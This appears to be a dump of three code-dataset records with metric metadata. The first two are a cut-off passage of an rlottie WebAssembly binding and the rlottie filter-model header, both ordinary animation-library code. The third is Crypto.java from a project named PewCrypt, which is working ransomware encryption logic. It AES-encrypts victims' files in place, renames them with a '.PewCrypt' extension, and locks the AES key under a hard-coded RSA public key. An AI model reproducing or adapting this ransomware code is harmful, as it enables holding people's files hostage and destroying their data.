Group\",\"hd\":false},{\"ty\":\"fl\",\"c\":{\"a\":0,\"k\":[0.149019607843,0.132484795065,0.111034221275,1],\"ix\":4},\"o\":{\"a\":0,\"k\":100,\"ix\":5},\"r\":1,\"nm\":\"Fill 1\",\"mn\":\"ADBE Vector Graphic - Fill\",\"hd\":false},{\"ty\":\"tr\",\"p\":{\"a\":0,\"k\":[0,0],\"ix\":2},\"a\":{\"a\":0,\"k\":[0,0],\"ix\":1},\"s\":{\"a\":0,\"k\":[100,100],\"ix\":3},\"r\":{\"a\":0,\"k\":0,\"ix\":6},\"o\":{\"a\":0,\"k\":100,\"ix\":7},\"sk\":{\"a\":0,\"k\":0,\"ix\":4},\"sa\":{\"a\":0,\"k\":0,\"ix\":5},\"nm\":\"Transform\"}],\"nm\":\"Shape 1\",\"np\":3,\"cix\":2,\"ix\":1,\"mn\":\"ADBE Vector Group\",\"hd\":false}],\"ip\":0,\"op\":141.6,\"st\":0,\"bm\":0}],\"markers\":[]}";
typedef unsigned char uint8_t;
class __attribute__((visibility("default"))) RlottieWasm {
public:
static std::unique_ptr<RlottieWasm> create()
{
return std::unique_ptr<RlottieWasm>(new RlottieWasm(resource));
}
int frames() const { return mFrameCount; }
bool load(std::string jsonData)
{
mPlayer = rlottie::Animation::loadFromData(std::move(jsonData), "", "",
false);
mFrameCount = mPlayer ? mPlayer->totalFrame() : 0;
return mPlayer ? true : false;
}
void setFillColor(std::string keypath, float r, float g, float b)
{
if (!mPlayer) return;
mPlayer->setValue<rlottie::Property::FillColor>(keypath,
rlottie::Color(r, g, b));
}
void setStrokeColor(std::string keypath, float r, float g, float b)
{
if (!mPlayer) return;
mPlayer->setValue<rlottie::Property::StrokeColor>(keypath,
rlottie::Color(r, g, b));
}
void setFillOpacity(std::string keypath, float opacity)
{
if (!mPlayer || opacity > 100 || opacity < 0) return;
mPlayer->setValue<rlottie::Property::FillOpacity>(keypath, opacity);
}
void setStrokeOpacity(std::string keypath, float opacity)
{
if (!mPlayer || opacity > 100 || opacity < 0) return;
mPlayer->setValue<rlottie::Property::StrokeOpacity>(keypath, opacity);
}
void setStrokeWidth(std::string keypath, float width)
{
if (!mPlayer || width < 0) return;
mPlayer->setValue<rlottie::Property::StrokeWidth>(keypath, width);
}
void setAnchor(std::string keypath, float x, float y)
{
if (!mPlayer) return;
mPlayer->setValue<rlottie::Property::TrAnchor>(keypath,
rlottie::Point(x, y));
}
void setPosition(std::string keypath, float x, float y)
{
if (!mPlayer) return;
mPlayer->setValue<rlottie::Property::TrPosition>(keypath,
rlottie::Point(x, y));
}
void setScale(std::string keypath, float width, float height)
{
if (!mPlayer) return;
mPlayer->setValue<rlottie::Property::TrScale>(keypath,
rlottie::Size(width, height));
}
void setRotation(std::string keypath, float degree)
{
if (!mPlayer || degree > 360 || degree < 0) return;
mPlayer->setValue<rlottie::Property::TrRotation>(keypath, degree);
}
void setOpacity(std::string keypath, float opacity)
{
if (!mPlayer || opacity > 100 || opacity < 0) return;
mPlayer->setValue<rlottie::Property::TrOpacity>(keypath, opacity);
}
// canvas pixel pix[0] pix[1] pix[2] pix[3] {B G R A}
// lottie pixel pix[0] pix[1] pix[2] pix[3] {R G B A}
val render(int frame, int width, int height)
{
if (!mPlayer) return val(typed_memory_view<uint8_t>(0, nullptr));
resize(width, height);
mPlayer->renderSync(
frame, rlottie::Surface((uint32_t *)mBuffer.get(), mWidth, mHeight,
mWidth * 4));
convertToCanvasFormat();
return val(typed_memory_view(mWidth * mHeight * 4, mBuffer.get()));
}
~RlottieWasm() {}
private:
void resize(int width, int height)
{
if (width == mWidth && height == mHeight) return;
mWidth = width;
mHeight = height;
mBuffer = std::make_unique<uint8_t[]>(mWidth * mHeight * 4);
}
explicit RlottieWasm(const char *data)
{
mPlayer = rlottie::Animation::loadFromData(data, "", "", false);
mFrameCount = mPlayer ? mPlayer->totalFrame() : 0;
}
void convertToCanvasFormat()
{
int totalBytes = mWidth * mHeight * 4;
uint8_t *buffer = mBuffer.get();
for (int i = 0; i < totalBytes; i += 4) {
unsigned char a = buffer[i + 3];
// compute only if alpha is non zero
if (a) {
unsigned char r = buffer[i + 2];
unsigned char g = buffer[i + 1];
unsigned char b = buffer[i];
if (a != 255) { // un premultiply
r = (r * 255) / a;
g = (g * 255) / a;
b = (b * 255) / a;
buffer[i] = r;
buffer[i + 1] = g;
buffer[i + 2] = b;
} else {
// only swizzle r and b
buffer[i] = r;
buffer[i + 2] = b;
}
}
}
}
private:
int mWidth{0};
int mHeight{0};
int mFrameCount{0};
std::unique_ptr<uint8_t[]> mBuffer;
std::unique_ptr<rlottie::Animation> mPlayer;
};
// Binding code
EMSCRIPTEN_BINDINGS(rlottie_bindings)
{
class_<RlottieWasm>("RlottieWasm")
.constructor(&RlottieWasm::create)
.function("load", &RlottieWasm::load, allow_raw_pointers())
.function("frames", &RlottieWasm::frames)
.function("render", &RlottieWasm::render)
.function("setFillColor", &RlottieWasm::setFillColor)
.function("setStrokeColor", &RlottieWasm::setStrokeColor)
.function("setFillOpacity", &RlottieWasm::setFillOpacity)
.function("setStrokeOpacity", &RlottieWasm::setStrokeOpacity)
.function("setStrokeWidth", &RlottieWasm::setStrokeWidth)
.function("setAnchor", &RlottieWasm::setAnchor)
.function("setPosition", &RlottieWasm::setPosition)
.function("setScale", &RlottieWasm::setScale)
.function("setRotation", &RlottieWasm::setRotation)
.function("setOpacity", &RlottieWasm::setOpacity);
}
| 55,577
|
rlottiewasm
|
cpp
|
ru
|
cpp
|
code
|
{"qsc_code_num_words": 10357, "qsc_code_num_chars": 55577.0, "qsc_code_mean_word_length": 2.15786425, "qsc_code_frac_words_unique": 0.04953172, "qsc_code_frac_chars_top_2grams": 0.02192492, "qsc_code_frac_chars_top_3grams": 0.03288738, "qsc_code_frac_chars_top_4grams": 0.01789789, "qsc_code_frac_chars_dupe_5grams": 0.84437782, "qsc_code_frac_chars_dupe_6grams": 0.83019374, "qsc_code_frac_chars_dupe_7grams": 0.8186496, "qsc_code_frac_chars_dupe_8grams": 0.81126672, "qsc_code_frac_chars_dupe_9grams": 0.81108774, "qsc_code_frac_chars_dupe_10grams": 0.80348114, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.22097364, "qsc_code_frac_chars_whitespace": 0.04088022, "qsc_code_size_file_byte": 55577.0, "qsc_code_num_lines": 194.0, "qsc_code_num_chars_line_max": 49462.0, "qsc_code_num_chars_line_mean": 286.47938144, "qsc_code_frac_chars_alphabet": 0.19829284, "qsc_code_frac_chars_comments": 0.00365259, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.13513514, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.14189189, "qsc_code_frac_chars_string_length": 0.54670062, "qsc_code_frac_chars_long_word_length": 0.23447828, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": 0.04054054, "qsc_codecpp_frac_lines_func_ratio": 0.13513514, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.16216216, "qsc_codecpp_frac_lines_print": 0.0}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 1, "qsc_code_num_chars_line_mean": 1, "qsc_code_frac_chars_alphabet": 1, "qsc_code_frac_chars_digital": 1, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/lottie/lottiefiltermodel.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef LOTTIEFILTERMODEL_H
#define LOTTIEFILTERMODEL_H
#include <algorithm>
#include <bitset>
#include <cassert>
#include "lottiemodel.h"
#include "rlottie.h"
using namespace rlottie::internal;
// Naive way to implement std::variant
// refactor it when we move to c++17
// users should make sure proper combination
// of id and value are passed while creating the object.
class LOTVariant {
public:
using ValueFunc = std::function<float(const rlottie::FrameInfo&)>;
using ColorFunc = std::function<rlottie::Color(const rlottie::FrameInfo&)>;
using PointFunc = std::function<rlottie::Point(const rlottie::FrameInfo&)>;
using SizeFunc = std::function<rlottie::Size(const rlottie::FrameInfo&)>;
LOTVariant(rlottie::Property prop, const ValueFunc& v)
: mPropery(prop), mTag(Value)
{
construct(impl.valueFunc, v);
}
LOTVariant(rlottie::Property prop, ValueFunc&& v)
: mPropery(prop), mTag(Value)
{
moveConstruct(impl.valueFunc, std::move(v));
}
LOTVariant(rlottie::Property prop, const ColorFunc& v)
: mPropery(prop), mTag(Color)
{
construct(impl.colorFunc, v);
}
LOTVariant(rlottie::Property prop, ColorFunc&& v)
: mPropery(prop), mTag(Color)
{
moveConstruct(impl.colorFunc, std::move(v));
}
LOTVariant(rlottie::Property prop, const PointFunc& v)
: mPropery(prop), mTag(Point)
{
construct(impl.pointFunc, v);
}
LOTVariant(rlottie::Property prop, PointFunc&& v)
: mPropery(prop), mTag(Point)
{
moveConstruct(impl.pointFunc, std::move(v));
}
LOTVariant(rlottie::Property prop, const SizeFunc& v)
: mPropery(prop), mTag(Size)
{
construct(impl.sizeFunc, v);
}
LOTVariant(rlottie::Property prop, SizeFunc&& v)
: mPropery(prop), mTag(Size)
{
moveConstruct(impl.sizeFunc, std::move(v));
}
rlottie::Property property() const { return mPropery; }
const ColorFunc& color() const
{
assert(mTag == Color);
return impl.colorFunc;
}
const ValueFunc& value() const
{
assert(mTag == Value);
return impl.valueFunc;
}
const PointFunc& point() const
{
assert(mTag == Point);
return impl.pointFunc;
}
const SizeFunc& size() const
{
assert(mTag == Size);
return impl.sizeFunc;
}
LOTVariant() = default;
~LOTVariant() noexcept { Destroy(); }
LOTVariant(const LOTVariant& other) { Copy(other); }
LOTVariant(LOTVariant&& other) noexcept { Move(std::move(other)); }
LOTVariant& operator=(LOTVariant&& other)
{
Destroy();
Move(std::move(other));
return *this;
}
LOTVariant& operator=(const LOTVariant& other)
{
Destroy();
Copy(other);
return *this;
}
private:
template <typename T>
void construct(T& member, const T& val)
{
new (&member) T(val);
}
template <typename T>
void moveConstruct(T& member, T&& val)
{
new (&member) T(std::move(val));
}
void Move(LOTVariant&& other)
{
switch (other.mTag) {
case Type::Value:
moveConstruct(impl.valueFunc, std::move(other.impl.valueFunc));
break;
case Type::Color:
moveConstruct(impl.colorFunc, std::move(other.impl.colorFunc));
break;
case Type::Point:
moveConstruct(impl.pointFunc, std::move(other.impl.pointFunc));
break;
case Type::Size:
moveConstruct(impl.sizeFunc, std::move(other.impl.sizeFunc));
break;
default:
break;
}
mTag = other.mTag;
mPropery = other.mPropery;
other.mTag = MonoState;
}
void Copy(const LOTVariant& other)
{
switch (other.mTag) {
case Type::Value:
construct(impl.valueFunc, other.impl.valueFunc);
break;
case Type::Color:
construct(impl.colorFunc, other.impl.colorFunc);
break;
case Type::Point:
construct(impl.pointFunc, other.impl.pointFunc);
break;
case Type::Size:
construct(impl.sizeFunc, other.impl.sizeFunc);
break;
default:
break;
}
mTag = other.mTag;
mPropery = other.mPropery;
}
void Destroy()
{
switch (mTag) {
case MonoState: {
break;
}
case Value: {
impl.valueFunc.~ValueFunc();
break;
}
case Color: {
impl.colorFunc.~ColorFunc();
break;
}
case Point: {
impl.pointFunc.~PointFunc();
break;
}
case Size: {
impl.sizeFunc.~SizeFunc();
break;
}
}
}
enum Type { MonoState, Value, Color, Point, Size };
rlottie::Property mPropery;
Type mTag{MonoState};
union details {
ColorFunc colorFunc;
ValueFunc valueFunc;
PointFunc pointFunc;
SizeFunc sizeFunc;
details() {}
~details() noexcept {}
} impl;
};
namespace rlottie {
namespace internal {
namespace model {
class FilterData {
public:
void addValue(LOTVariant& value)
{
uint32_t index = static_cast<uint32_t>(value.property());
if (mBitset.test(index)) {
std::replace_if(mFilters.begin(), mFilters.end(),
[&value](const LOTVariant& e) {
return e.property() == value.property();
},
value);
} else {
mBitset.set(index);
mFilters.push_back(value);
}
}
void removeValue(LOTVariant& value)
{
uint32_t index = static_cast<uint32_t>(value.property());
if (mBitset.test(index)) {
mBitset.reset(index);
mFilters.erase(std::remove_if(mFilters.begin(), mFilters.end(),
[&value](const LOTVariant& e) {
return e.property() ==
value.property();
}),
mFilters.end());
}
}
bool hasFilter(rlottie::Property prop) const
{
return mBitset.test(static_cast<uint32_t>(prop));
}
model::Color color(rlottie::Property prop, int frame) const
{
rlottie::FrameInfo info(frame);
rlottie::Color col = data(prop).color()(info);
return model::Color(col.r(), col.g(), col.b());
}
VPointF point(rlottie::Property prop, int frame) const
{
rlottie::FrameInfo info(frame);
rlottie::Point pt = data(prop).point()(info);
return VPointF(pt.x(), pt.y());
}
VSize scale(rlottie::Property prop, int frame) const
{
rlottie::FrameInfo info(frame);
rlottie::Size sz = data(prop).size()(info);
return VSize(sz.w(), sz.h());
}
float opacity(rlottie::Property prop, int frame) const
{
rlottie::FrameInfo info(frame);
float val = data(prop).value()(info);
return val / 100;
}
float value(rlottie::Property prop, int frame) const
{
rlottie::FrameInfo info(frame);
return data(prop).value()(info);
}
private:
const LOTVariant& data(rlottie::Property prop) const
{
auto result = std::find_if(
mFilters.begin(), mFilters.end(),
[prop](const LOTVariant& e) { return e.property() == prop; });
return *result;
}
std::bitset<32> mBitset{0};
std::vector<LOTVariant> mFilters;
};
template <typename T>
struct FilterBase
{
FilterBase(T *model): model_(model){}
const char* name() const { return model_->name(); }
FilterData* filter() {
if (!filterData_) filterData_ = std::make_unique<FilterData>();
return filterData_.get();
}
const FilterData * filter() const { return filterData_.get(); }
const T* model() const { return model_;}
bool hasFilter(rlottie::Property prop) const {
return filterData_ ? filterData_->hasFilter(prop)
: false;
}
T* model_{nullptr};
std::unique_ptr<FilterData> filterData_{nullptr};
};
template <typename T>
class Filter : public FilterBase<T> {
public:
Filter(T* model): FilterBase<T>(model){}
model::Color color(int frame) const
{
if (this->hasFilter(rlottie::Property::StrokeColor)) {
return this->filter()->color(rlottie::Property::StrokeColor, frame);
}
return this->model()->color(frame);
}
float opacity(int frame) const
{
if (this->hasFilter(rlottie::Property::StrokeOpacity)) {
return this->filter()->opacity(rlottie::Property::StrokeOpacity, frame);
}
return this->model()->opacity(frame);
}
float strokeWidth(int frame) const
{
if (this->hasFilter(rlottie::Property::StrokeWidth)) {
return this->filter()->value(rlottie::Property::StrokeWidth, frame);
}
return this->model()->strokeWidth(frame);
}
float miterLimit() const { return this->model()->miterLimit(); }
CapStyle capStyle() const { return this->model()->capStyle(); }
JoinStyle joinStyle() const { return this->model()->joinStyle(); }
bool hasDashInfo() const { return this->model()->hasDashInfo(); }
void getDashInfo(int frameNo, std::vector<float>& result) const
{
return this->model()->getDashInfo(frameNo, result);
}
};
template <>
class Filter<model::Fill>: public FilterBase<model::Fill>
{
public:
Filter(model::Fill* model) : FilterBase<model::Fill>(model) {}
model::Color color(int frame) const
{
if (this->hasFilter(rlottie::Property::FillColor)) {
return this->filter()->color(rlottie::Property::FillColor, frame);
}
return this->model()->color(frame);
}
float opacity(int frame) const
{
if (this->hasFilter(rlottie::Property::FillOpacity)) {
return this->filter()->opacity(rlottie::Property::FillOpacity, frame);
}
return this->model()->opacity(frame);
}
FillRule fillRule() const { return this->model()->fillRule(); }
};
template <>
class Filter<model::Group> : public FilterBase<model::Group>
{
public:
Filter(model::Group* model = nullptr) : FilterBase<model::Group>(model) {}
bool hasModel() const { return this->model() ? true : false; }
model::Transform* transform() const { return this->model() ? this->model()->mTransform : nullptr; }
VMatrix matrix(int frame) const
{
VMatrix mS, mR, mT;
if (this->hasFilter(rlottie::Property::TrScale)) {
VSize s = this->filter()->scale(rlottie::Property::TrScale, frame);
mS.scale(s.width() / 100.0, s.height() / 100.0);
}
if (this->hasFilter(rlottie::Property::TrRotation)) {
mR.rotate(this->filter()->value(rlottie::Property::TrRotation, frame));
}
if (this->hasFilter(rlottie::Property::TrPosition)) {
mT.translate(this->filter()->point(rlottie::Property::TrPosition, frame));
}
return this->model()->mTransform->matrix(frame) * mS * mR * mT;
}
};
} // namespace model
} // namespace internal
} // namespace rlottie
#endif // LOTTIEFILTERMODEL_H
| 12,847
|
lottiefiltermodel
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 1329, "qsc_code_num_chars": 12847.0, "qsc_code_mean_word_length": 5.61775771, "qsc_code_frac_words_unique": 0.20316027, "qsc_code_frac_chars_top_2grams": 0.06830967, "qsc_code_frac_chars_top_3grams": 0.04071792, "qsc_code_frac_chars_top_4grams": 0.0310742, "qsc_code_frac_chars_dupe_5grams": 0.35882668, "qsc_code_frac_chars_dupe_6grams": 0.31087597, "qsc_code_frac_chars_dupe_7grams": 0.21336726, "qsc_code_frac_chars_dupe_8grams": 0.17318511, "qsc_code_frac_chars_dupe_9grams": 0.13903027, "qsc_code_frac_chars_dupe_10grams": 0.13903027, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00327869, "qsc_code_frac_chars_whitespace": 0.28777146, "qsc_code_size_file_byte": 12847.0, "qsc_code_num_lines": 435.0, "qsc_code_num_chars_line_max": 104.0, "qsc_code_num_chars_line_mean": 29.53333333, "qsc_code_frac_chars_alphabet": 0.8126776, "qsc_code_frac_chars_comments": 0.10983109, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22689076, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00192375, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0140056, "qsc_codec_frac_lines_func_ratio": 0.11484594, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.1372549, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
000JustMe/PewCrypt
|
Encryptor/src/main/Crypto.java
|
package main;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.PublicKey;
import java.security.SecureRandom;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.X509EncodedKeySpec;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
public class Crypto {
private final SecureRandom rnd = new SecureRandom();
private final byte[] RSA_key = new byte[] { 48, (byte) 130, 1, 34, 48, 13, 6, 9, 42, (byte) 134, 72, (byte) 134,
(byte) 247, 13, 1, 1, 1, 5, 0, 3, (byte) 130, 1, 15, 0, 48, (byte) 130, 1, 10, 2, (byte) 130, 1, 1, 0,
(byte) 211, (byte) 132, 73, 127, 125, 43, (byte) 148, (byte) 128, (byte) 128, 6, 36, 39, (byte) 220, 47, 57,
(byte) 161, (byte) 147, (byte) 143, (byte) 202, (byte) 155, 24, 74, (byte) 168, 16, (byte) 164, 86,
(byte) 160, 4, 9, 21, (byte) 162, (byte) 139, (byte) 144, (byte) 223, 24, 50, 54, 74, 73, 41, (byte) 237,
58, (byte) 214, 50, 88, (byte) 193, 83, 7, 120, 118, 114, (byte) 163, 6, 89, 94, (byte) 209, 65, 90, 56, 16,
38, (byte) 171, 81, (byte) 153, 45, (byte) 153, (byte) 175, 125, (byte) 161, 16, 126, 25, (byte) 181,
(byte) 171, 35, 13, (byte) 144, (byte) 249, 24, (byte) 249, 62, (byte) 145, (byte) 185, (byte) 169,
(byte) 217, (byte) 229, (byte) 142, 116, (byte) 244, (byte) 141, (byte) 148, (byte) 179, 26, 114,
(byte) 253, (byte) 146, (byte) 162, (byte) 194, (byte) 165, (byte) 250, 82, (byte) 206, 102, 9, 35, 47, 62,
17, (byte) 200, 127, (byte) 183, 77, (byte) 147, 90, 78, (byte) 182, (byte) 244, (byte) 186, (byte) 212, 59,
54, (byte) 217, (byte) 250, (byte) 217, (byte) 253, (byte) 235, 31, (byte) 235, (byte) 248, (byte) 226, 44,
(byte) 218, 53, 50, 25, 67, 5, 33, 38, 71, 43, 107, (byte) 234, 26, 104, 90, 2, 4, (byte) 144, 72, 53,
(byte) 217, (byte) 238, 48, (byte) 154, 25, 77, 86, 90, (byte) 238, 69, (byte) 156, (byte) 157, (byte) 174,
(byte) 245, 66, 107, (byte) 183, 91, 72, 55, (byte) 196, (byte) 163, 125, 121, (byte) 192, (byte) 182,
(byte) 205, (byte) 158, 36, (byte) 201, 76, 31, (byte) 218, 82, 39, (byte) 193, (byte) 159, 66, 108, 78, 14,
122, (byte) 137, (byte) 233, (byte) 191, 110, (byte) 198, 123, (byte) 162, (byte) 219, (byte) 154, 11,
(byte) 223, 88, 119, (byte) 208, 37, (byte) 157, (byte) 187, 60, 79, 64, (byte) 184, (byte) 234, 52, 104,
56, (byte) 158, (byte) 230, 70, 25, (byte) 254, 84, 14, 73, (byte) 182, (byte) 141, 78, (byte) 249, 11,
(byte) 187, 51, (byte) 139, 76, 42, (byte) 157, (byte) 213, 95, 88, 85, 42, 8, 14, (byte) 135, (byte) 147,
(byte) 248, (byte) 189, 50, 117, (byte) 153, 23, 0, 38, (byte) 158, 63, 2, 3, 1, 0, 1 };
private final byte[] PASS = new byte[32];
private Cipher cipher;
private int cipherMode;
private String[] IgnoredExtentions = new String[] { ".PewCrypt", ".exe", ".jar", ".dll" };
public Crypto(boolean toEncrypt) {
// determine mode
if (toEncrypt) {
this.cipherMode = Cipher.ENCRYPT_MODE;
} else {
this.cipherMode = Cipher.DECRYPT_MODE;
}
try {
// generate random AES pass
this.rnd.nextBytes(PASS);
Key AES_key = new SecretKeySpec(PASS, "AES");
this.cipher = Cipher.getInstance("AES");
this.cipher.init(this.cipherMode, AES_key);
} catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException e) {
System.out.println(e);
}
}
public boolean encrypt_AES_key() {
// get KeySpec
X509EncodedKeySpec ks = new X509EncodedKeySpec(this.RSA_key);
try {
KeyFactory kf = KeyFactory.getInstance("RSA");
// Get public key from KeySpec
PublicKey pub = kf.generatePublic(ks);
// create new AES.key file
File kfile = new File("AES.key");
kfile.createNewFile();
// encrypt AES key with public
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, pub);
// encrypted data buffer
byte[] out = cipher.doFinal(this.PASS);
// write encrypted data to AES.key file
Files.write(kfile.toPath(), out);
} catch (InvalidKeySpecException | IOException | NoSuchPaddingException | InvalidKeyException
| IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException e) {
e.printStackTrace();
return false;
}
return true;
}
public boolean ProcessFile(String path) {
try {
// get handles
File file = new File(path);
// checks if file extension is ignored
for (String exten : this.IgnoredExtentions) {
if (file.getName().contains(exten)) {
return false;
}
}
// file checks
if (!file.exists() | !file.canRead() | !file.canWrite() | (file.length() > 20000000)) {
return false;
}
// file content buffer
byte[] fileContent = Files.readAllBytes(file.toPath());
// encrypted data buffer
byte[] outputBytes = this.cipher.doFinal(fileContent);
// write encrypted data back to file
Files.write(file.toPath(), outputBytes);
file.renameTo(new File(path + ".PewCrypt"));
return true;
} catch (IOException | BadPaddingException | IllegalBlockSizeException e) {
System.out.println(e);
return false;
}
}
}
| 5,370
|
Crypto
|
java
|
en
|
java
|
code
|
{"qsc_code_num_words": 769, "qsc_code_num_chars": 5370.0, "qsc_code_mean_word_length": 4.4603381, "qsc_code_frac_words_unique": 0.36671001, "qsc_code_frac_chars_top_2grams": 0.03206997, "qsc_code_frac_chars_top_3grams": 0.04198251, "qsc_code_frac_chars_top_4grams": 0.01282799, "qsc_code_frac_chars_dupe_5grams": 0.01049563, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.16593786, "qsc_code_frac_chars_whitespace": 0.19087523, "qsc_code_size_file_byte": 5370.0, "qsc_code_num_lines": 153.0, "qsc_code_num_chars_line_max": 114.0, "qsc_code_num_chars_line_mean": 35.09803922, "qsc_code_frac_chars_alphabet": 0.62347526, "qsc_code_frac_chars_comments": 0.06610801, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.11111111, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00977069, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.02020202, "qsc_codejava_score_lines_no_logic": 0.27272727, "qsc_codejava_frac_words_no_modifier": 0.66666667, "qsc_codejava_frac_words_legal_var_name": 0.9, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.02020202}
|
1
|
